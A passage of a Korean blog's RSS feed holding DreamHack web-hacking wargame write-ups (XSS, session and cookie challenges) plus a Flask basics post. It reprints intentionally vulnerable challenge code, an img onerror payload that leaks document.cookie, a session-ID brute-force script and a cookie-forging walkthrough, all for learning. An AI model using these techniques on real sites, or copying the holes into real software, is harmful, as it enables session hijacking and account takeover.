&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;XSS-2를 풀어 보자&amp;nbsp;&lt;/h4&gt;
&lt;pre id=&quot;code_1790687089056&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()
except:
    FLAG = &quot;[**FLAG**]&quot;


def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        service = Service(executable_path=&quot;/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        for _ in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)


@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;)


@app.route(&quot;/vuln&quot;)
def vuln():
    return render_template(&quot;vuln.html&quot;)


@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;)
        if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


memo_text = &quot;&quot;


@app.route(&quot;/memo&quot;)
def memo():
    global memo_text
    text = request.args.get(&quot;memo&quot;, &quot;&quot;)
    memo_text += text + &quot;\n&quot;
    return render_template(&quot;memo.html&quot;, memo=memo_text)


app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 위에 xss-1과 다 똑같이만 한가지 다른 부분이 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1790687661173&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    return render_template(&quot;vuln.html&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에 보면 /vuln에서 아까는 받은 param을 그대로 반환 했다면 이번에는 vuln.html이라는 부분을 거쳐서 나오기 때문에 값이 바뀌게 된다. 또한 &amp;lt;script&amp;gt;를 통해서 값을 요청 할수 없도록 되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리하여 우리는 이번에는 img 태그를 이용할것이다. 여기서 img태그를 쓴다고 하면 의아에 할수도 있다 xss가 Javascript를 통해서 cookie값이다 session값을 탈취 하는거 아니야 할수도 있다. 하지만 여기서 우리는 img태그를 진짜 img를 넣는 용도가 아니라&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는 없는 임의에 주소 값을 알려준뒤 그 주소값이 없을 경우 실행되는 부분에 sciprt를 넣어서 실행 시킬 것이다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1790687773232&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;location.href='/memo?memo=' + document.cookie&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 src에 일부로 잘못된 주소값을 알려주고 onerror에 우리가 실행 해야할 script구문을 넣어주게 되면&amp;nbsp;&lt;br /&gt;/vuln을 우회 해서 flag 값을 알수 있게 된다.&lt;/p&gt;</description>
      <category>웹해킹</category>
      <category>DreamHack</category>
      <category>xss-1</category>
      <category>Xss-2</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/29</guid>
      <comments>https://logmap.tistory.com/29#entry29comment</comments>
      <pubDate>Tue, 29 Sep 2026 22:17:09 +0900</pubDate>
    </item>
    <item>
      <title>session</title>
      <link>https://logmap.tistory.com/28</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;dreamhack session풀이&lt;/h3&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot;&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FLAG = open('./flag.txt', 'r').read()
except:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FLAG = '[**FLAG**]'

users = {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ##users라는 딕셔너리에 guest, user, admin이라는 것이 존재
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'guest': 'guest',&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'user': 'user1234',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'admin': FLAG
}

session_storage = {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#비어있는 딕셔너리 생성
}

@app.route('/')
def index():
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;session_id = request.cookies.get('sessionid', None)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#세션 아이디는 쿠키 값으로 줌
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;username = session_storage[session_id]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #유저 아룸운 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;except KeyError:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return render_template('index.html')

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}')

@app.route('/login', methods=['GET', 'POST'])
def login():
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if request.method == 'GET':
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return render_template('login.html')
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif request.method == 'POST':
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;username = request.form.get('username')
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;password = request.form.get('password')
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pw = users[username]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;except:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if pw == password:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;resp = make_response(redirect(url_for('index')) )
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;session_id = os.urandom(4).hex()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;session_storage[session_id] = username
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;resp.set_cookie('sessionid', session_id)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return resp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

if __name__ == '__main__':
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;import os
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;session_storage[os.urandom(1).hex()] = 'admin'&amp;nbsp;&amp;nbsp; ## 1바이트를 16진수 인코딩
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(session_storage)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;app.run(host='0.0.0.0', port=8000)&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;이 코드를 보면 session basic과는 다르게 admin으로 라우트 하여 값을 확인 할수가 없다&amp;nbsp;&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;if __name__ == '__main__':
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;import os
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;session_storage[os.urandom(1).hex()] = 'admin'&amp;nbsp;&amp;nbsp; ## 1바이트를 16진수 인코딩
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(session_storage)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;app.run(host='0.0.0.0', port=8000)&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이부분을 보면 1byte를 랜덤하게 16진수 인코딩 한 값이 admin으로 나오게 된다 그러면 우리는 1byte는 8bit 이다.&lt;br&gt;그러면 16진수에 한자리는 4bit인데 그러면 우리가 알수 있는 것은 admin에 세션 값은 00~ff 까지 인것을 알수 있다.&amp;nbsp;&lt;br&gt;그리하여 우리는 이걸 guest로 로그인 한뒤 세션값을 하나씩 00~ff하는 방법도 있지만 그 방법이 아닌 requests를 이용 해서 무차별 대입 공격을 해볼것이다.&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot;&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import requests

url = &quot;http://host3.dreamhack.games:24532/&quot; 

for i in range(256):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;session_id = f&quot;{i:02x}&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cookies = {'sessionid': session_id}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response = requests.get(url, cookies=cookies)

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if &quot;DH{&quot; in response.text:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(f&quot; admin 세션 ID: {session_id}&quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 코드를 짤수 있는데 한줄 씩 해석해 보자면 일단 requests라는 라이브러리가 있어야지 우리가 get,post같은 요청을 보낼수 있다. 그리하여 requests를 한뒤 url은 우리가 참조할 브라우저에 주소이다 그러니 url은 우리가 현재 풀고 있는 드림핵 사이트에 루트주소를 넣어주게 된다. 그후 for문을 돌면서 session_id를 구할 건데 00~ff 까지는 총 256가지 이므로 256번 반복 하면서&amp;nbsp;&lt;br&gt;session_id에 하나씩 넣어 본다 여기에서 f&quot;{i:02x}&quot;이 부분은 i를 넣을 건데 앞에 자릿수가 없을 경우 01이런식으로 쓸수 있도록 해준다. 그후 그값을 쿠키 값으로 준뒤 그값을 response라는 변수 지정 한뒤 get으로 요청 한다 그러면 우리가 로그인 했을 때에 HTML을 가져 오는데 그거에서 플래그 형식인 DH{가 들어가 있으면 session id를 출력 하고 break 하여 반복문을 종료 한다.&lt;/p&gt;</description>
      <category>웹해킹</category>
      <category>DreamHack</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/28</guid>
      <comments>https://logmap.tistory.com/28#entry28comment</comments>
      <pubDate>Fri, 25 Sep 2026 23:31:09 +0900</pubDate>
    </item>
    <item>
      <title>session_basic</title>
      <link>https://logmap.tistory.com/27</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Dreamhack Session_basic 문제 풀이&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1790345728420&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}


# this is our session storage
session_storage = {
}


@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            # you cannot know admin's pw
            pw = users[username]
        except:
            return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(32).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp
        return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage


if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에 코드를 보면 /admin으로 사이트를 들어가면 session_storage를 반환 하는것을 볼수 있다 그리하여 그 session_storage를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;32byte를 16진수로 인코딩 한것이 admin에 session 값인것을 알수 있다. 그리고 그것을 print하여 출력 하는것을 알수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dGZRU3/dJMcabyZyk1/foaaqqwcusKY5M35kPgUbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dGZRU3/dJMcabyZyk1/foaaqqwcusKY5M35kPgUbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dGZRU3/dJMcabyZyk1/foaaqqwcusKY5M35kPgUbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdGZRU3%2FdJMcabyZyk1%2FfoaaqqwcusKY5M35kPgUbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;587&quot; height=&quot;109&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이런식으로 admin 하고 세션에 값을 알려주는데 그것을 복사 한뒤 cookie 풀이와 똑같이 guest로 로그인 후 쿠키값을 보면 session하고 value값이 있을 건데 그걸 아까 복사한 admin에 세션 값으로 넣어 주면 admin으로 로그인을 할수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹해킹</category>
      <category>DreamHack</category>
      <category>Sesseion</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/27</guid>
      <comments>https://logmap.tistory.com/27#entry27comment</comments>
      <pubDate>Fri, 25 Sep 2026 23:20:30 +0900</pubDate>
    </item>
    <item>
      <title>Cookie</title>
      <link>https://logmap.tistory.com/26</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Dreamhack cookie문제 풀이&amp;nbsp;&lt;/h3&gt;
&lt;pre id=&quot;code_1790345140348&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'admin': FLAG
}

@app.route('/')
def index():
    username = request.cookies.get('username', None)    
    if username:
        return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}')
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            resp.set_cookie('username', username)
            return resp 
        return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

app.run(host='0.0.0.0', port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면 users에는 guest랑 admin이 존재 한다 여기서 유저 내임을 확인후 cookie값을 get으로 반환하여 알려주게 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그후 login페이지를 보면 get으로 login 페이지를 연다 Post로는 username과 password를 알려보낸뒤 그 값이 pw와 맞으면&amp;nbsp;&lt;br /&gt;쿠키값으로 반환 한다. 그리 하여 guest로 로그인 하면 쿠키 값에 username에 value 값에 guest가 들어 있는걸 볼수 있다 그리하여 value 값에 admin을 넣어주게 되면 admin으로 로그인 한것으로 인식 하게 된다&amp;nbsp; 그후 HOME으로 가면 플래그를 얻을 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹해킹</category>
      <category>cookie</category>
      <category>DreamHack</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/26</guid>
      <comments>https://logmap.tistory.com/26#entry26comment</comments>
      <pubDate>Fri, 25 Sep 2026 23:12:38 +0900</pubDate>
    </item>
    <item>
      <title>백엔드</title>
      <link>https://logmap.tistory.com/25</link>
      <description>&lt;pre id=&quot;code_1788919327728&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from flask import Flask , render_template, request
app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods={'GET', 'POST'})
def login():    
    if request.method == &quot;POST&quot;:
        user_id = request.form.get('username')
        user_pw = request.form.get('password')

        return render_template('result.html', user_id = user_id, user_pw=user_pw)

    return render_template('login.html')


app.run()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;render_template은 웹 서버가 저장해 둔 HTML 문서에 원하는 정보를 채워 넣어서 완정한 웹 페이지로 만든 뒤, 사용자의 브라우저로 보내주는 역할을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 methods에 GET은 사용자가 값을 서버에 요청하여 조회 하는 방식이고 POST는 사용자가 입력한 내용을 가지고 서버에 요청하여 값을 저장하거나 처리 하는 메서드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;위 코드 해석&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1788923078836&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from flask import Flask , render_template, request
app = Flask(__name__)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flask 라이브러리를 불러오고 render_template을 써서 HTML정보를 불러 올수 있도록 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;request라이브러리를 이용하여 methods에 저장한 GET과 POST를 이용할수 있도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1788923234997&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/')
def index():
    return render_template('index.html')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1에 기본 웹을 불러 올때 render_template을 이용해서 index.html을 불러온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIDkD6/dJMcaf2d15b/FkGevBFKg7oXUFcU5xWRn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIDkD6/dJMcaf2d15b/FkGevBFKg7oXUFcU5xWRn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIDkD6/dJMcaf2d15b/FkGevBFKg7oXUFcU5xWRn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIDkD6%2FdJMcaf2d15b%2FFkGevBFKg7oXUFcU5xWRn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;241&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;241&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 이러한 화면이 뜨게 된다 . 그후 로그인 하기를 누르면&lt;/p&gt;
&lt;pre id=&quot;code_1788923600642&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/login', methods={'GET', 'POST'})
def login():    
    if request.method == &quot;POST&quot;:
        user_id = request.form.get('username')
        user_pw = request.form.get('password')

        return render_template('result.html', user_id = user_id, user_pw=user_pw)

    return render_template('login.html')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분으로 넘어간다 127.0.0.1/login을 호출 하게 되는데 login 에서 값을 넣으면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blHnqz/dJMcabr3hjZ/kUeSIacMknOEmq47ot0CK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blHnqz/dJMcabr3hjZ/kUeSIacMknOEmq47ot0CK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blHnqz/dJMcabr3hjZ/kUeSIacMknOEmq47ot0CK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblHnqz%2FdJMcabr3hjZ%2FkUeSIacMknOEmq47ot0CK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;434&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
